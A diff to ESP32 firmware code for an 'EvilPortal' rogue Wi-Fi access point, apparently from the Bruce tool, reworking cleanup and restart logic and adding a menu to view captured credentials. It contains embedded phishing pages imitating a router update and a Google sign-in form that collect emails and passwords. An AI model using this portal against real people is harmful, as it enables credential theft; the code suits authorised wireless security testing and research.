@@ -15,6 +15,11 @@ EvilPortal::EvilPortal(
1515)
1616 : apName(tssid), _channel(channel), _deauth(deauth), _verifyPwd(verifyPwd), _autoMode(autoMode),
1717 _backgroundMode(backgroundMode), webServer(80 ) {
18+
19+ // Store original WiFi state before making any changes
20+ _originalWifiMode = WiFi.getMode ();
21+ _wifiWasConnected = (WiFi.status () == WL_CONNECTED);
22+
1823 if (!setup ()) return ;
1924 // Now stop WebUI cleanly before starting WiFi mode
2025 cleanlyStopWebUiForWiFiFeature ();
@@ -26,16 +31,7 @@ EvilPortal::EvilPortal(
2631}
2732
2833EvilPortal::~EvilPortal () {
29- // Clean up handler to prevent memory leak
30- if (_captiveHandler) {
31- webServer.removeHandler (_captiveHandler);
32- delete _captiveHandler;
33- _captiveHandler = nullptr ;
34- }
35- webServer.end ();
36- dnsServer.stop ();
37- vTaskDelay (100 / portTICK_PERIOD_MS);
38- wifiDisconnect ();
34+ // Empty - all cleanup done in loop()
3935}
4036
4137void EvilPortal::CaptiveRequestHandler::handleRequest (AsyncWebServerRequest *request) {
@@ -240,37 +236,40 @@ void EvilPortal::setupRoutes() {
240236 });
241237
242238 // Store handler pointer for cleanup
239+ // Do not remove it on exit else it will cause system to crash
240+ // it will be automatically "burned" when server is stopped
243241 _captiveHandler = new CaptiveRequestHandler (this );
244242 webServer.addHandler (_captiveHandler).setFilter (ON_AP_FILTER);
245243}
246244
247245void EvilPortal::restartWiFi (bool reset) {
248- // Clean up old handler before restart
249- if (_captiveHandler) {
250- webServer.removeHandler (_captiveHandler);
251- delete _captiveHandler;
252- _captiveHandler = nullptr ;
253- }
254-
246+ // Let server handle cleanup - just stop and restart
255247 webServer.end ();
248+ dnsServer.stop ();
249+ vTaskDelay (100 / portTICK_PERIOD_MS);
250+
251+ // Don't touch _captiveHandler - server owns it
252+ _captiveHandler = nullptr ;
253+
256254 wifiDisconnect ();
257- WiFi.softAP (apName);
255+ WiFi.softAP (apName, emptyString, _channel);
256+ vTaskDelay (100 / portTICK_PERIOD_MS);
257+
258+ setupRoutes (); // This will create a new handler
259+ dnsServer.start (53 , " *" , WiFi.softAPIP ());
258260 webServer.begin ();
259-
260- // Re-add handler
261- _captiveHandler = new CaptiveRequestHandler (this );
262- webServer.addHandler (_captiveHandler).setFilter (ON_AP_FILTER);
263-
261+
264262 if (reset) resetCapturedCredentials ();
265263}
266264
267265void EvilPortal::resetCapturedCredentials (void ) { previousTotalCapturedCredentials = -1 ; }
268266
269267void EvilPortal::loop () {
270- if (_backgroundMode) return ; // Background mode uses processRequests instead
268+ if (_backgroundMode) return ;
271269
272270 int lastDeauthTime = millis ();
273271 bool shouldRedraw = true ;
272+ bool exitPortal = false ;
274273
275274 while (true ) {
276275 if (shouldRedraw) {
@@ -295,7 +294,51 @@ void EvilPortal::loop() {
295294 shouldRedraw = true ;
296295 }
297296
298- if (check (EscPress)) break ;
297+ if (check (EscPress)) {
298+ options = {
299+ {" Exit Portal" , [&exitPortal]() { exitPortal = true ; }},
300+ {" View Creds" , [this , &shouldRedraw]() {
301+ FS *fs;
302+ if (getFsStorage (fs)) {
303+ if (fs->exists (" /BruceEvilCreds" )) {
304+ loopSD (*fs, false , " CSV" , " /BruceEvilCreds" );
305+ } else {
306+ displayTextLine (" No credentials yet" );
307+ vTaskDelay (1000 );
308+ }
309+ }
310+ shouldRedraw = true ;
311+ }},
312+ {" Resume" , [&shouldRedraw]() { shouldRedraw = true ; }}
313+ };
314+
315+ loopOptions (options);
316+ if (exitPortal) {
317+ displayTextLine (" Shutting down..." );
318+ vTaskDelay (100 / portTICK_PERIOD_MS);
319+
320+ // Stop web server first
321+ webServer.end ();
322+ vTaskDelay (200 / portTICK_PERIOD_MS);
323+
324+ // Stop DNS
325+ dnsServer.stop ();
326+ vTaskDelay (100 / portTICK_PERIOD_MS);
327+
328+ // Restore original WiFi mode
329+ WiFi.mode (_originalWifiMode);
330+ vTaskDelay (100 / portTICK_PERIOD_MS);
331+
332+ // Stop wifi else it will stay on but not connected to any AP
333+ // and the stack will get confused so no connect/disconnect option
334+ // will be shown on wifi menu after and it will just waste battery
335+ wifiDisconnect ();
336+ vTaskDelay (100 / portTICK_PERIOD_MS);
337+
338+ return ;
339+ }
340+ shouldRedraw = true ;
341+ }
299342
300343 if (verifyPass) {
301344 wifiDisconnect ();
@@ -308,14 +351,11 @@ void EvilPortal::loop() {
308351void EvilPortal::processRequests () {
309352 if (!_backgroundMode) return ;
310353 dnsServer.processNextRequest ();
311- // Check for credentials without UI updates
312354 if (totalCapturedCredentials != (previousTotalCapturedCredentials + 1 )) {
313355 previousTotalCapturedCredentials = totalCapturedCredentials - 1 ;
314- // In background mode, we don't redraw, just let the tracker know
315356 }
316357}
317358
318- // Karma Integration Methods
319359bool EvilPortal::hasCredentials () { return totalCapturedCredentials > 0 ; }
320360
321361String EvilPortal::getCapturedPassword () { return lastCred; }
@@ -404,7 +444,9 @@ void EvilPortal::loadCustomHtml() {
404444 int apStart = firstLine.indexOf (" <!-- AP=\" " );
405445 if (apStart != -1 ) {
406446 int apEnd = firstLine.indexOf (" \" -->" , apStart);
407- if (apEnd != -1 ) { apName = firstLine.substring (apStart + 9 , apEnd); }
447+ if (apEnd != -1 ) {
448+ apName = firstLine.substring (apStart + 9 , apEnd);
449+ }
408450 }
409451 }
410452}
@@ -459,7 +501,7 @@ void EvilPortal::loadDefaultHtml_one() {
459501 " 5px;cursor: pointer;font-size: 16px;transition: background-color 0.3s;}button:hover "
460502 " {background-color: #0056b3;}div#success-block{display: none;text-align: center;min-height: "
461503 " 60px;margin-bottom: 30px;justify-content: center;align-items: center;}</style></head><body><div "
462- " class='container'><!-- Ícone No Signal em SVG -->< svg xmlns='http://www.w3.org/2000/svg' "
504+ " class='container'><svg xmlns='http://www.w3.org/2000/svg' "
463505 " fill='#000000' width='800px' height='800px' viewBox='0 -1 26 26'><path fill-opacity='.3' d='M24.24 "
464506 " 8l1.35-1.68C25.1 5.96 20.26 2 13 2S.9 5.96.42 6.32l12.57 15.66.01.02.01-.01L20 "
465507 " 13.28V8h4.24z'/><path d='M22 22h2v-2h-2v2zm0-12v8h2v-8h-2z'/></svg><h1>Router Update</h1><div "
@@ -503,7 +545,7 @@ void EvilPortal::loadDefaultHtml() {
503545 " class='container'><div class='logo-container'><?xml version='1.0' standalone='no'?><!DOCTYPE svg "
504546 " PUBLIC '-//W3C//DTD SVG 20010904//EN' "
505547 " 'http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd'></div><div "
506- " class=form-container><center><div class='containerlogo'><!-- Google Logo -->< div id='logo' "
548+ " class=form-container><center><div class='containerlogo'><div id='logo' "
507549 " title='Google'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' "
508550 " aria-hidden='true'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 "
509551 " 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 "
@@ -527,7 +569,7 @@ void EvilPortal::loadDefaultHtml() {
527569 " 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 "
528570 " 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 "
529571 " 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 "
530- " 4.69-1.856z'></path></g></svg></div><!-- /Google Logo -->< /div></center><div style='min-height: "
572+ " 4.69-1.856z'></path></g></svg></div></div></center><div style='min-height: "
531573 " 150px'><center><div class='containertitle'>Sign in</div><div class='containersubtitle'>Use your "
532574 " Google Account</div></center><form action='/post' id='login-form'><input name='email' "
533575 " class='input-field' type='text' placeholder='Email or phone' required><input name='password' "
0 commit comments